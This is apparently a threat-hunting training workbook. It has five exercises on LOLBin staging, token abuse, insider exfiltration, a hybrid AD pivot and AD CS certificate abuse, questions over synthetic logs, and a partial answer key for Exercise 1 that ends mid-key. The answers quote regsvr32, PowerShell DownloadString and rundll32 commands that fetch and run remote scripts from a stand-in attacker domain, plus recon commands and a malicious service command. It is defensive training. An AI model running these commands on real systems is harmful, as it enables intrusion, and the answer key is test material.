

**THREAT
HUNTING
EXERCISE WITH
FULL LOGS,
QUESTIONS AND
ANSWERS
BY IZZMIER IZZUDDIN**

THREAT HUNTING EXERCISE 1 (INTEL-LED LOLBIN + LATERAL MOVEMENT)

<https://www.dropbox.com/scl/fi/ryonnnt7lyd6yivnjatbj/Exercise-1.xlsx?rlkey=ugnqr29ua60rqqe5b0xo86nr2&st=f6o587yy&dl=0>

	A	B	C	D	E	F	G	
1	event_time	host	username	image	command_line	pid	parent_image	in
2	2026-03-24T21:00:00.0000000	DB-01.corp.local	CORP\svc-mor	rundll32.exe	rundll32.exe	25015	svchost.exe	F
3	2026-03-24T21:00:00.0000000	WS-ENG01.corp.local	CORP\hr.user	net.exe	net.exe	25021	svchost.exe	S
4	2026-03-24T21:00:00.0000000	FILE-01.corp.local	CORP\eng.use	psexec.exe	psexec.exe	25039	wmiprvse.exe	M
5	2026-03-24T21:00:00.0000000	FILE-01.corp.local	CORP\eng.use	psexec.exe	psexec.exe	25048	svchost.exe	S
6	2026-03-24T21:00:00.0000000	LAPTOP-HR02.corp.local	CORP\eng.use	nltest.exe	nltest.exe	25060	services.exe	M
7	2026-03-24T21:00:00.0000000	DC-02.corp.local	CORP\it.suppc	wscript.exe	wscript.exe	25064	chrome.exe	S
8	2026-03-24T21:00:00.0000000	DB-01.corp.local	CORP\ops.use	wevtutil.exe	wevtutil.exe	25072	powershell.exe	F
9	2026-03-24T21:00:00.0000000	DB-01.corp.local	CORP\ops.use	cmd.exe	cmd.exe	25079	outlook.exe	S
10	2026-03-24T21:00:00.0000000	APP-01.corp.local	CORP\eng.use	msedge.exe	msedge.exe	25084	wmiprvse.exe	S
11	2026-03-24T21:00:00.0000000	WS-ENG01.corp.local	CORP\it.suppc	sc.exe	sc.exe	25089	cmd.exe	M
12	2026-03-24T21:00:00.0000000	JUMP-ADM01.corp.local	CORP\sec.ana	regsvr32.exe	regsvr32.exe	25105	cmd.exe	M
13	2026-03-24T21:00:00.0000000	APP-01.corp.local	CORP\eng.use	mstsc.exe	mstsc.exe	25122	explorer.exe	S
14	2026-03-24T21:00:00.0000000	WS-OPS01.corp.local	CORP\ops.use	wmic.exe	wmic.exe com	25124	powershell.exe	M

LOGS:

- edr_process_create (scriptlet + PowerShell staging, discovery, WMI/PsExec/RDP, log tamper attempt)
- windows_security (4624/4625/4768/4769/4776/5140/7045 etc. for auth + movement + service creation)
- edr_network (external staging domain + internal SMB/RDP/WinRM/LDAP movement)
- dns_logs (intel domain resolution + normal noise)
- ndr_alerts (sparse but meaningful)
- siem_alerts (supporting context)
- Summary, README

EXERCISE 1 QUESTIONS

PHASE 1 — HYPOTHESIS (INTEL-DRIVEN)

H1. Initial Execution via LOLBins

- Based on the intel, which process names should you hunt for first in edr_process_create → image?
- Using Excel filtering, identify executions of:

- regsvr32.exe
 - rundll32.exe
 - powershell.exe
- where command_line contains an external URL.
3. Which host(s) appear most frequently in those filtered results?
 4. Which user account(s) are associated with these executions?

PHASE 2 — VALIDATION (ENDPOINT EVIDENCE)

V1. Malicious vs Legitimate Execution

5. In edr_process_create, identify command lines that:
 - Use DownloadString, Invoke-WebRequest or remote .sct / .js
 - Are launched from outlook.exe or chrome.exe
6. Why is the parent_image important in distinguishing:
 - User-initiated malicious execution
 - vs
 - Legitimate IT automation?
7. Which single endpoint shows multiple LOLBin executions over time?

PHASE 3 — NETWORK CORRELATION

V2. Payload Staging & C2

8. In edr_network, filter by:
 - tls_sni = updates-cloudcdn.com
- Which hosts are communicating with this domain?
9. Which processes are responsible for those connections?
 10. Compare bytes_out for traffic to updates-cloudcdn.com vs normal Microsoft domains.
What difference do you observe?
 11. Why is HTTPS traffic to a cloud-looking domain difficult to block by default?

PHASE 4 — DNS CORRELATION

V3. Infrastructure Confirmation

12. In dns_logs, filter query = updates-cloudcdn.com.
13. Which hosts resolve this domain most frequently?
14. Do these DNS queries align in time with:

- LOLBin execution

- Network connections from the same host?

15. Why does repeated DNS resolution strengthen confidence of compromise compared to a single lookup?

PHASE 5 — DISCOVERY & CREDENTIAL ACTIVITY

V4. Local & Domain Recon

16. In `edr_process_create`, identify discovery commands such as:

- `whoami`
- `nltest`
- `net group`
- `wmic`

17. Which host executed the most discovery commands?

18. Why is discovery activity an important pivot point in hunting?

PHASE 6 — AUTHENTICATION & LATERAL MOVEMENT

V5. Windows Security Evidence

19. In `windows_security`, filter:

- `event_id = 4776` (NTLM)
- `event_id = 4769` (Kerberos ST)

Which host generates unusual volumes of these events?

20. Which `source_ip` values appear across multiple authentication events?

21. Why is NTLM authentication to servers or DCs suspicious in modern environments?

V6. Remote Logons & Movement

22. In `windows_security`, filter:

- `event_id = 4624`
- details containing `LogonType=3`

Which accounts are logging into multiple servers?

23. Which hosts are acting as the origin of these logons?

24. What does this pattern suggest about attacker progression?

PHASE 7 — REMOTE EXECUTION & PERSISTENCE

V7. Service Creation

25. In windows_security, filter:

- event_id = 7045

Which servers show new service installation?

26. Examine the details field for the service.

Why is the service name and image path suspicious?

27. Why does remote service creation represent a higher severity than simple discovery?

PHASE 8 — ALERT CONTEXT (SUPPORTING ONLY)

28. Review siem_alerts.

Which alerts relate to your findings?

29. Why are most alerts only Medium severity despite clear malicious behaviour?

30. How should alerts be used during threat hunting, based on this exercise?

PHASE 9 — ATTACK CHAIN RECONSTRUCTION

31. Using timestamps across sheets, reconstruct the attack chain:

- Initial execution
- External staging
- Discovery
- Lateral movement
- Persistence

32. Which activity represents the first confirmed malicious action?

33. Which activity proves the attacker achieved environment control?

PHASE 10 — DECISION MAKING

34. Based on evidence from at least three sheets, classify this activity as:

- Suspicious
- Incident

- Confirmed compromise
Justify your answer.

35. At what exact point should this hunt be escalated to incident response?

36. Which single log entry would justify immediate containment if seen in isolation?

PHASE 11 — RESPONSE THINKING (HUNT-DRIVEN)

37. Which host(s) must be isolated first and why?

38. Which accounts must be disabled or reset?

39. Why would blocking updates-cloudcdn.com alone be insufficient?

PHASE 12 — HUNTING LESSONS

40. Which telemetry source was most critical in this exercise and why?

41. Which detection gap allowed the attacker to progress from endpoint to server?

42. What new hunting rule or correlation would you propose based on this dataset?

FINAL DELIVERABLE

43. Write a one-paragraph hunting conclusion summarising:

- Intel received
- Evidence found
- Decision taken

THREAT HUNTING EXERCISE 2 (IDENTITY-FIRST COMPROMISE)

<https://www.dropbox.com/scl/fi/4pvca1tgmpwh8mdv1rdwz/Exercise-2.xlsx?rlkey=dnoiutz4754b5tnnv1rghpiem&st=z6f23gyg&dl=0>

	A	B	C	D	E	F	G	
1	time	user	application	ip	mfa	result	risk	
2	2026-04-08T01:00:00	hr.user@corp.	Azure Portal	10.100.132.14	Failed	Failure	low	2
3	2026-04-08T21:00:00	svc-sync@corp.	Microsoft Gra	10.100.16.153	Satisfied	Success	low	2
4	2026-04-09T01:00:00	marketing.use	Exchange Onli	10.100.19.59	Satisfied	Success	low	2
5	2026-04-08T11:00:00	marketing.use	Azure Portal	180.128.127.2	Failed	Failure	none	2
6	2026-04-09T01:00:00	it.admin@corp.	Azure Portal	187.180.36.16	NotRequired	Success	low	2
7	2026-04-09T01:00:00	hr.user@corp.	Exchange Onli	10.100.192.10	NotRequired	Failure	low	2
8	2026-04-09T01:00:00	marketing.use	Exchange Onli	10.100.165.35	Satisfied	Success	none	2
9	2026-04-08T11:00:00	marketing.use	OfficeHome	10.100.14.17	NotRequired	Success	low	2
10	2026-04-08T01:00:00	sec.analyst@c	Azure Portal	167.32.36.125	NotRequired	Success	high	2
11	2026-04-08T11:00:00	sec.analyst@c	OfficeHome	10.100.239.10	Satisfied	Success	medium	2
12	2026-04-08T11:00:00	marketing.use	Azure Portal	10.100.81.229	NotRequired	Success	high	2
13	2026-04-08T11:00:00	it.admin@corp.	Azure Portal	10.100.174.21	NotRequired	Success	low	2
14	2026-04-08T11:00:00	it.admin@corp.	Microsoft Gra	208.131.113.8	Failed	Success	low	2

LOGS:

- entra_signin — impossible travel, MFA NotRequired, high-risk Graph/Azure CLI access
- entra_audit — OAuth grants, Conditional Access changes, role assignments
- edr_process — token harvesting from browser/IdentityCache (PowerShell/Python)
- edr_network — HTTPS exfil and Graph access (encrypted, low noise)
- alerts — sparse, supporting signals only
- Summary, README

EXERCISE 2 QUESTIONS

PHASE 1 — HYPOTHESIS FORMULATION (INTEL-LED)

Intel provided to hunters

Threat actors are abusing OAuth tokens and Microsoft Graph access instead of credentials.

Attacks often involve token harvesting from endpoints, MFA bypass and cloud privilege escalation.

Hypothesis 1 — Token Abuse Without Credential Theft

1. From the entra_signin sheet, which applications should you focus on first when hunting for token abuse?
2. Why is Microsoft Graph a high-risk application in identity-first attacks?
3. Which sign-in result patterns would indicate successful token reuse rather than password login?

PHASE 2 — SIGN-IN BEHAVIOUR ANALYSIS (EXCEL-DRIVEN)

4. In entra_signin, filter:
 - user = marketing.user@corp.local
 - result = Success

What is unusual about the **IP addresses** used?

5. Compare the **MFA column** for successful sign-ins of this user:
 - How many show NotRequired?
 - Why is this suspicious for a non-privileged user?
6. Identify sign-ins where:
 - risk = high
 - result = Success

Why should these never be ignored during threat hunting?

PHASE 3 — TIME & GEO CORRELATION

7. Using Excel sorting by time, do you observe rapid sign-ins from different IP ranges for the same user?
8. Why does this pattern indicate token replay rather than user travel?
9. Which sheet would you use to confirm whether MFA was intentionally bypassed?

PHASE 4 — CLOUD CONTROL-PLANE CHANGES

Privilege Escalation Hunt

10. In entra_audit, filter:
 - actor = marketing.user@corp.local

What operations stand out as abnormal for this role?

11. Which audit entries indicate privilege escalation rather than simple access?
12. Why is Add OAuth2PermissionGrant especially dangerous in identity-first attacks?

PHASE 5 — CONDITIONAL ACCESS & MFA TAMPERING

13. In `entra_audit`, identify entries related to:

- Disable MFA
- Update Conditional Access

14. Why is disabling Conditional Access more severe than adding a user to a role?

15. Correlate the timestamps of these changes with sign-ins in `entra_signin`.

What does the sequence tell you?

PHASE 6 — ENDPOINT TOKEN HARVESTING

Validation Beyond Cloud Logs

16. In `edr_process`, filter:

- `host = LAPTOP-MKT01.corp.local`

Which processes are suspicious in an identity attack?

17. Identify command lines that reference:

- `IdentityCache`
- token dump scripts

18. Why is browser-related token access often invisible to traditional malware detection?

PHASE 7 — NETWORK CONFIRMATION

19. In `edr_network`, filter:

- `host = LAPTOP-MKT01.corp.local`
- `process = powershell.exe OR python.exe`

20. Which TLS SNI values are suspicious when viewed alongside identity abuse?

21. Why is HTTPS traffic with small, repetitive `bytes_out` significant in token exfiltration?

PHASE 8 — ALERT CONTEXT (SUPPORTING ONLY)

22. Review the alerts sheet.

- Which alerts align with your findings?
- Which occurred after compromise activity?

23. Why would this attack likely evade SOCs that rely only on endpoint malware alerts?

PHASE 9 — ATTACK CHAIN RECONSTRUCTION (EXCEL-BASED)

24. Using timestamps across four sheets, reconstruct the attack chain:

- Initial access
- Token harvesting
- Cloud abuse
- Privilege escalation

25. Which activity represents the true point of compromise?
26. Which activity proves the attacker gained control-plane access?

PHASE 10 — DECISION & ESCALATION

27. Based on Excel evidence, classify this activity as:
- Suspicious activity
 - Security incident
 - Confirmed identity compromise
- Provide justification using at least three sheets.
28. At which exact event should the SOC escalate to incident response?
29. Which single audit log entry would justify immediate tenant containment?

PHASE 11 — RESPONSE THINKING (HUNT-DRIVEN)

30. Which user account(s) must be disabled or invalidated immediately?
31. Why is password reset alone insufficient in this scenario?
32. What additional action is required to invalidate the attacker's access?

PHASE 12 — DEFENSIVE GAP ANALYSIS

33. Which security assumption was exploited in this attack?
34. Which logging source provided the earliest reliable signal?
35. What detection logic would you propose to catch this attack earlier next time?

FINAL DELIVERABLE

36. Write a one-paragraph threat hunting conclusion covering:
- Hypothesis
 - Evidence
 - Decision
 - Recommended action

THREAT HUNTING EXERCISE 3 (INSIDER-BLEND IDENTITY ABUSE + DATA EXFILTRATION)

<https://www.dropbox.com/scl/fi/ln9gqkv0ff00gybrtwjwg/Exercise-3.xlsx?rlkey=tl9mpzv2xkrbc7gb9ndimii7q&st=yqwoihwj&dl=0>

LOGS:

- entra_signin — normal-looking successful logins with subtle anomalies
- file_access — high-volume reads, copies, ZIP actions on sensitive files
- edr_process — archiving/compression via PowerShell / WinZip
- edr_network — large HTTPS uploads to cloud file-sharing services
- alerts — low-confidence, late alerts
- Summary, README

EXERCISE 3 QUESTIONS

PHASE 1 — HYPOTHESIS (BEHAVIOUR-LED)

Hunt premise

A trusted insider or compromised insider account may be abusing legitimate access to collect, stage, compress and exfiltrate sensitive financial data using approved tools and cloud services.

Hypothesis 1 — Identity Looks Normal, Behaviour Does Not

1. In entra_signin, filter:
 - user = finance.user@corp.local
 - result = Success

What applications does this user commonly access?

2. Why are these applications not sufficient evidence of malicious activity on their own?
3. What sign-in attributes (columns) should you still pay attention to even when logins succeed?

PHASE 2 — FILE ACCESS BEHAVIOUR (CORE OF THIS HUNT)

Validation 1 — Data Collection Patterns

4. In file_access, filter:
 - username = CORP\finance.user

Which actions occur most frequently?

5. Identify file paths that appear repeatedly over time.
Why is repetition important in insider-blend investigations?
6. Which file names indicate high business sensitivity?

Validation 2 — Data Staging Indicators

7. In file_access, identify entries where:
 - action = ZIP or action = COPY
 - file_path contains Sensitive or .zip
8. Why is ZIP creation a critical pivot point in data exfiltration hunts?
9. Which host performs most ZIP or COPY actions?

PHASE 3 — ENDPOINT EXECUTION CORRELATION

Validation 3 — Compression & Preparation

10. In edr_process, filter:
 - host = LAPTOP-FIN01.corp.local
 - username = CORP\finance.user

Which processes stand out?

11. Identify command lines that indicate:
 - Archive creation
 - Bulk file handling
12. Why is PowerShell or WinZip execution by a finance user contextually suspicious, not inherently malicious?

PHASE 4 — TIME-BASED CORRELATION

13. Sort file_access and edr_process by time.
Do ZIP/Compress actions occur after large file read activity?
14. Why is sequence more important than volume alone in insider cases?

PHASE 5 — NETWORK BEHAVIOUR (EXFIL CONFIRMATION)

Validation 4 — Data Leaving the Environment

15. In edr_network, filter:
 - host = LAPTOP-FIN01.corp.local
 - bytes_out sorted descending
16. Which TLS SNI values appear during large outbound transfers?

17. Why is HTTPS upload to file-sharing services difficult to detect via signature-based controls?

PHASE 6 — CROSS-DOMAIN CORRELATION

18. Correlate timestamps across:
- file_access
 - edr_process
 - edr_network

What three-step pattern emerges?

19. Why does this pattern indicate intent, not accident?

PHASE 7 — ALERT CONTEXT (SECONDARY SIGNALS)

20. Review the alerts sheet.
- What do these alerts detect?
 - Why are they classified as Medium severity?
21. Why would relying only on these alerts fail to stop insider data exfiltration?

PHASE 8 — DECISION MAKING

22. Based on Excel evidence, classify this activity as:
- Normal business activity
 - Policy violation
 - Security incident
- Justify using at least three sheets.
23. Which single event type most strongly supports escalation?

PHASE 9 — RESPONSE THINKING

24. Which user account(s) require immediate review or restriction?
25. Which host(s) should be forensically preserved?
26. Why would blocking the upload domain alone be insufficient?

PHASE 10 — DEFENSIVE GAPS & IMPROVEMENT

27. What assumption about “trusted users” was exploited?
28. Which telemetry source provided the clearest signal of abuse?
29. What behavioural detection would you recommend implementing?

FINAL DELIVERABLE

30. Write a one-paragraph hunting conclusion covering:

- Hypothesis
- Evidence
- Decision
- Recommended action

DRAFT

THREAT HUNTING EXERCISE 4 (HYBRID AD + CLOUD IDENTITY PIVOT)

<https://www.dropbox.com/scl/fi/mrxmnpyg9pbkravsd8r6/Exercise-4.xlsx?rlkey=ivjcn3riifeuqpb88ez1rpoyg&st=uw95g1ma&dl=0>

	A	B	C	D	E	F	G	
1	time	user	application	ip	result	mfa	risk	
2	2026-06-03T1	sales.user3@c	Microsoft Gra	10.150.240.76	Success	Failed	medium	2
3	2026-06-04T0	it.admin@cor	OfficeHome	216.170.233.6	Success	NotRequired	low	2
4	2026-06-04T0	it.admin@cor	Microsoft Gra	190.27.195.77	Success	NotRequired	none	2
5	2026-06-03T2	svc-adconnect	Azure Portal	10.150.190.72	Success	Satisfied	medium	2
6	2026-06-03T0	it.admin@cor	Microsoft Gra	164.35.168.10	Failure	Failed	medium	2
7	2026-06-03T1	svc-adconnect	Azure Portal	10.150.247.23	Success	Failed	none	2
8	2026-06-03T1	sales.user2@c	Microsoft Gra	45.61.136.90	Success	NotRequired	high	2
9	2026-06-03T1	it.support@co	Azure Portal	10.150.200.45	Success	Satisfied	medium	2
10	2026-06-04T0	sales.user3@c	OfficeHome	195.255.67.21	Success	Satisfied	low	2
11	2026-06-03T2	sales.user1@c	Azure Portal	10.150.60.161	Success	Failed	low	2
12	2026-06-04T0	sales.user2@c	OfficeHome	10.150.203.12	Success	Satisfied	low	2
13	2026-06-04T0	it.admin@cor	Azure Portal	10.150.145.92	Success	Satisfied	medium	2
14	2026-06-03T1	svc-adconnect	Azure Portal	85.74.155.105	Success	NotRequired	none	2

LOGS

- entra_signin — password spray failures → risky success with MFA bypass
- windows_security — NTLM/Kerberos abuse, remote logons, service creation
- edr_process — token staging, WMI/PsExec lateral execution
- edr_network — Graph access + suspicious external infra
- alerts — weak, delayed alerts
- Summary, README

EXERCISE 4 QUESTIONS

PHASE 1 — HYPOTHESIS (INTEL-LED)

Intel premise

Threat actors conduct password spraying against cloud identities, gain access to one account, abuse OAuth / token-based access, then pivot into on-prem AD via hybrid trust (Kerberos / NTLM).

Hypothesis 1 — Password Spray in Cloud Identity

1. In entra_signin, filter:

- result = Failure

Which user accounts appear repeatedly?

2. When sorting by ip, do you see the same external IPs attempting multiple users?
3. Why is this pattern more indicative of password spraying than brute force?

PHASE 2 — CLOUD SUCCESS AFTER FAILURE

Validation 1 — Spray to Success Transition

4. In entra_signin, filter:
 - user = sales.user2@corp.local
 - result = Success

What is unusual about:

- ip
 - mfa
 - risk?
5. Why is MFA = NotRequired a critical indicator after multiple failures?
 6. Which applications does the attacker access immediately after success?

PHASE 3 — TOKEN / CLOUD ABUSE CONFIRMATION

7. In entra_signin, identify successful sign-ins where:
 - application = Microsoft Graph OR Azure Portal
 - risk = high
8. Why does access to these applications suggest **control-plane intent**, not normal user activity?

PHASE 4 — ENDPOINT CORRELATION (PIVOT POINT)

Validation 2 — Local Token or Tooling Activity

9. In edr_process, filter:
 - username = CORP\sales.user2
 - image = powershell.exe

What suspicious command lines appear?

10. Why is Invoke-WebRequest to an external domain suspicious after a risky cloud sign-in?
11. Which host becomes the primary pivot point between cloud and on-prem activity?

PHASE 5 — NETWORK CONFIRMATION (HYBRID)

12. In `edr_network`, filter:

- `host = WS-SALES02.corp.local`
- `tls_sni = login-cache-support.com`

13. Why is this domain suspicious in the context of identity attacks?

14. How does this traffic differ from normal `login.microsoftonline.com` access?

PHASE 6 — ON-PREM AUTHENTICATION ABUSE

Validation 3 — Windows Security Evidence

15. In `windows_security`, filter:

- `account = CORP\sales.user2`

Which event IDs are most concerning?

16. Which hosts receive authentication attempts from this account?

17. Why is NTLM or Kerberos activity from a sales user suspicious?

PHASE 7 — LATERAL MOVEMENT INDICATORS

18. In `windows_security`, filter:

- `event_id = 4624`
- `details contains LogonType=3`

What does this indicate?

19. Which system appears to act as a jump point?

20. How does this align with `edr_process` executions of `wmic.exe` or `psexec.exe`?

PHASE 8 — PERSISTENCE SIGNALS

21. In `windows_security`, identify:

- `event_id = 7045`

22. Why is service creation following identity abuse a critical escalation point?

23. What does the service image path reveal about attacker intent?

PHASE 9 — ALERT CONTEXT (SECONDARY SIGNALS)

24. Review the alerts sheet.

- Which alerts fired first?
- Which fired after compromise activity?

25. Why are these alerts insufficient on their own to identify the full attack?

PHASE 10 — ATTACK CHAIN RECONSTRUCTION

26. Using timestamps across four sheets, reconstruct the attack chain:
- Password spray
 - Successful cloud login
 - Token / tooling activity
 - On-prem authentication
 - Lateral movement / persistence
27. Which event represents the true point of compromise?
28. Which event proves on-prem AD exposure?

PHASE 11 — DECISION & ESCALATION

29. Based on Excel evidence, classify this activity as:
- Suspicious activity
 - Security incident
 - Confirmed hybrid compromise
- Justify using multiple sheets.
30. At which exact log event should SOC escalate to Incident Response?
31. Which single indicator, if seen alone, would still justify containment?

PHASE 12 — RESPONSE THINKING

32. Which user accounts must be disabled or reset immediately?
33. Which hosts require isolation or forensic preservation?
34. Why is password reset alone insufficient in a hybrid identity attack?

PHASE 13 — DEFENSIVE GAPS & IMPROVEMENT

35. Which assumption about cloud vs on-prem security was exploited?
36. Which telemetry source provided the earliest reliable signal?
37. What new cross-domain detection logic would you recommend?

FINAL DELIVERABLE

38. Write a one-paragraph hunting conclusion summarising:
- Hypothesis
 - Evidence
 - Decision
 - Recommended action

THREAT HUNTING EXERCISE 5 (AD CS ABUSE / CERTIFICATE-BASED ATTACKS)

<https://www.dropbox.com/scl/fi/9nlz450ebp156180e4l9c/Exercise-5.xlsx?rlkey=5f1rhaxh5bsvo2sc8fx4bwopt&st=2fd0nd51&dl=0>

	A	B	C	D	E	F	G
1	time	host	event_id	account	source_ip	details	raw
2	2026-07-18T10:4	FILE-03.corp.lc	4899	CORP\it.admir	10.180.243.116		2026-07-18T10:4
3	2026-07-19T08:3	APP-03.corp.lc	4624	CORP\it.admir	10.180.49.191		2026-07-19T08:3
4	2026-07-18T11:1	DC-02.corp.loc	4769	CORP\sec.ana	10.180.109.37		2026-07-18T11:1
5	2026-07-19T08:0	FILE-03.corp.lc	4768	CORP\svc-cert	10.180.38.46		2026-07-19T08:0
6	2026-07-18T21:5	FILE-03.corp.lc	4625	CORP\it.admir	202.25.166.199		2026-07-18T21:5
7	2026-07-18T21:1	JUMP-ADM05	4900	CORP\eng.lear	10.180.226.161		2026-07-18T21:1
8	2026-07-18T09:3	DC-02.corp.loc	4768	CORP\eng.use	10.180.33.21	Kerberos auth	2026-07-18T09:3
9	2026-07-18T13:4	FILE-03.corp.lc	4769	CORP\svc-cert	10.180.70.2		2026-07-18T13:4
10	2026-07-18T20:2	DC-02.corp.loc	4899	CORP\sec.ana	10.180.127.107		2026-07-18T20:2
11	2026-07-18T15:2	DC-01.corp.loc	4899	CORP\it.admir	10.180.109.92		2026-07-18T15:2
12	2026-07-18T14:2	FILE-03.corp.lc	4898	CORP\eng.use	3.119.14.136		2026-07-18T14:2
13	2026-07-18T11:0	JUMP-ADM05	4900	CORP\eng.use	10.180.99.133		2026-07-18T11:0
14	2026-07-19T03:0	DC-01.corp.loc	4624	CORP\eng.use	10.180.249.9		2026-07-19T03:0

LOGS:

- windows_security — AD CS events (certificate request/issue), Kerberos TGT/TGS via PKINIT
- edr_process — certutil, PowerShell, Rubeus-style certificate usage
- edr_network — LDAP/Kerberos/HTTP interactions related to AD CS tooling
- alerts — sparse, medium-severity signals
- Summary, README

EXERCISE 5 QUESTIONS

PHASE 1 — HYPOTHESIS (IDENTITY-LED)

Hunt premise

A threat actor abuses Active Directory Certificate Services (AD CS) to request and use certificates for Kerberos authentication (PKINIT), enabling persistence and lateral movement without passwords.

PHASE 2 — CERTIFICATE ACTIVITY IDENTIFICATION

Validation 1 — Suspicious Certificate Requests

1. In windows_security, filter:
 - event_id = 4898 OR 4899

Which account(s) are involved?

2. Which host records most certificate-related events?
3. Why is certificate issuance by a non-admin engineering user suspicious?

PHASE 3 — TEMPLATE & MISUSE ANALYSIS

4. In windows_security, examine the details field for certificate events.
Which certificate template names appear?
5. Why is a template like UserAuth dangerous if misconfigured?
6. What privilege does a certificate issued under this template effectively grant?

PHASE 4 — KERBEROS AUTHENTICATION WITHOUT PASSWORDS

Validation 2 — PKINIT Detection

7. In windows_security, filter:
 - details contains "PKINIT"
8. Which event IDs are associated with this behaviour?
9. Why is PKINIT usage a high-confidence signal of certificate-based authentication?

PHASE 5 — TIME-BASED CORRELATION

10. Compare timestamps between:
 - Certificate issuance events
 - Kerberos authentication events

Does Kerberos authentication follow shortly after certificate issuance?

11. Why is this timing relationship critical for proving abuse?

PHASE 6 — ENDPOINT TOOLING CONFIRMATION

Validation 3 — Certificate Enumeration & Abuse Tools

12. In edr_process, filter:
 - username = CORP\eng.user

Which process names stand out?

13. Identify command lines related to:

- Certificate enumeration
- Certificate-based Kerberos requests

14. Why is certutil.exe execution by an engineering user suspicious?

PHASE 7 — ADVANCED TOOLING SIGNAL

15. In edr_process, locate command lines referencing:

- Rubeus
- asktgt
- certificate

16. What does asktgt /certificate indicate about attacker capability?

PHASE 8 — NETWORK CORRELATION

Validation 4 — Supporting Network Evidence

17. In edr_network, filter:

- process = certutil.exe
- tls_sni = adcs-tools.local

18. What type of activity does this suggest?

19. Why is HTTP/LDAP traffic relevant in AD CS abuse cases?

PHASE 9 — HOST PIVOT ANALYSIS

20. Which endpoint appears to be the primary workstation used for AD CS abuse?

21. Which system likely acts as a jump host after certificate authentication?

PHASE 10 — ALERT CONTEXT (WEAK SIGNALS)

22. Review the alerts sheet.

- What triggered the alerts?
- Why are they only Medium severity?

23. Why would alert-only SOCs likely miss this attack?

PHASE 11 — ATTACK CHAIN RECONSTRUCTION

24. Using timestamps across three sheets, reconstruct the attack flow:

- Certificate request
- Certificate issuance
- PKINIT authentication
- Lateral movement

25. Which step represents persistent compromise?

PHASE 12 — DECISION & ESCALATION

26. Based on Excel evidence, classify the activity as:

- Suspicious
- Misconfiguration abuse
- Confirmed security incident

Justify your choice.

27. Which single event type alone should trigger immediate IR escalation?

PHASE 13 — RESPONSE THINKING (L3 LEVEL)

28. Which accounts must be immediately contained or reviewed?

29. Which certificates must be revoked?

30. Why is password reset ineffective in this scenario?

PHASE 14 — DEFENSIVE GAPS & IMPROVEMENT

31. What AD CS misconfiguration enabled this attack?

32. Which log source provided the clearest detection signal?

33. What proactive hunting detection would you implement?

FINAL DELIVERABLE

34. Write a one-paragraph threat hunting conclusion summarising:

- Hypothesis
- Evidence
- Impact
- Recommended containment

ANSWERS

EXERCISE 1 ANSWER

PHASE 1 — HYPOTHESIS

1. Processes to hunt first (edr_process_create → image)

Answer

- regsvr32.exe
- rundll32.exe
- powershell.exe
- (Secondary) wmic.exe, psexec.exe, sc.exe

These align directly with LOLBin staging + lateral movement techniques.

2. LOLBin executions with external URLs

Evidence (examples from command_line)

- regsvr32.exe /i:https://updates-cloudcdn.com/a.sct
- powershell.exe DownloadString("https://updates-cloudcdn.com/u.ps1")
- rundll32.exe javascript:... GetObject("script:https://updates-cloudcdn.com/r.js")

These are not legitimate administrative uses.

3. Host most frequently involved

Answer

- WS-OPS01.corp.local

This host appears repeatedly across:

- LOLBin execution
- DNS queries
- External HTTPS connections
- Authentication events

This is the initial foothold.

4. User accounts involved

Primary

- CORP\ops.user

Secondary (later stages)

- CORP\it.support

This indicates privilege escalation or credential reuse.

PHASE 2 — ENDPOINT VALIDATION

5. Malicious vs legitimate execution indicators

Malicious indicators

- External URLs in command_line
- Scriptlet execution (.sct, .js)
- -NoP, hidden windows
- Parent process = outlook.exe / chrome.exe

Legitimate admin scripts

- Usually internal paths
- Known automation hosts
- IT service accounts

6. Importance of parent_image

Key observation

- outlook.exe → regsvr32.exe
- chrome.exe → powershell.exe

This strongly suggests user-triggered execution, not scheduled IT jobs.

7. Endpoint with repeated LOLBin usage

Answer

- WS-OPS01.corp.local

Repeated execution over time indicates:

- Staging

- Retry logic
- Persistence setup

PHASE 3 — NETWORK CORRELATION

8. Hosts communicating with intel domain (edr_network)

Filtered on tls_sni = updates-clouddcdn.com:

Hosts

- WS-OPS01.corp.local
- APP-01.corp.local (later stage)

This shows pivoting from workstation to server.

9. Processes responsible

Processes

- powershell.exe

No browsers involved → non-interactive execution.

10. Byte comparison (payload vs browsing)

Observation

- Traffic to updates-clouddcdn.com:
 - Smaller, consistent bytes_out
 - Repetitive URIs (/u.ps1, /collect)
- Microsoft domains:
 - Larger, variable traffic
 - Mixed endpoints

This matches payload staging + C2.

11. Why cloud-looking HTTPS is difficult to block

Because:

- TLS encrypted
- Shared hosting/CDN
- Business impact if blocked

- No malware signature

This is trust abuse.

PHASE 4 — DNS CORRELATION

12. DNS queries to intel domain (dns_logs)

Query

- updates-cloudcdn.com

13. Hosts resolving it most

Answer

- WS-OPS01.corp.local
- APP-01.corp.local

14. Temporal alignment

DNS queries:

- Occur just before PowerShell execution
- Align with outbound HTTPS

This proves intentional resolution, not background noise.

15. Why repeated DNS resolution matters

Because:

- Indicates retry logic
- Shows persistence
- Single lookups can be accidental

Repeated lookups = active compromise.

PHASE 5 — DISCOVERY

16. Discovery commands (edr_process_create)

Observed:

- whoami /all

- nltest /dclist
- net group "Domain Admins"
- wmic computersystem

17. Host executing most discovery

Answer

- WS-OPS01.corp.local

This is pre-lateral movement reconnaissance.

18. Why discovery is a pivot point

Discovery signals:

- Post-exploitation phase
- Attacker intent to expand
- Transition from execution → control

PHASE 6 — AUTHENTICATION & LATERAL MOVEMENT

19. NTLM & Kerberos volume (windows_security)

Event IDs

- 4776 (NTLM)
- 4769 (Kerberos ST)

Host with abnormal volume

- WS-OPS01.corp.local

20. Source IPs reused

Repeated IPs

- 10.90.22.11
- 10.90.44.18

These appear across:

- NTLM
- Kerberos
- Remote logons

21. Why NTLM to servers/DCs is suspicious

Because:

- Kerberos is default
- NTLM often used in:
 - Relay attacks
 - Legacy abuse
 - Lateral movement

22. Remote logons (event_id = 4624, LogonType=3)

Accounts

- CORP\ops.user
- CORP\it.support

23. Origin hosts

Origins

- WS-OPS01.corp.local
- JUMP-ADM01.corp.local

This shows credential reuse + pivoting.

24. Attacker progression indicated

- Foothold → Discovery → Credential abuse → Server access

This is controlled lateral movement, not noise.

PHASE 7 — REMOTE EXECUTION & PERSISTENCE

25. Service creation (event_id = 7045)

Servers

- APP-01.corp.local
- FILE-01.corp.local

26. Why service is suspicious

Service

- Name: UpdaterSvc
- ImagePath: cmd.exe /c powershell.exe -File C:\ProgramData\up.ps1

Red flags:

- PowerShell inside service
- ProgramData location
- Generic name

27. Why remote service creation is high severity

Because:

- Requires elevated privileges
- Establishes persistence
- Enables execution on reboot
- Confirms server compromise

PHASE 8 — ALERT CONTEXT

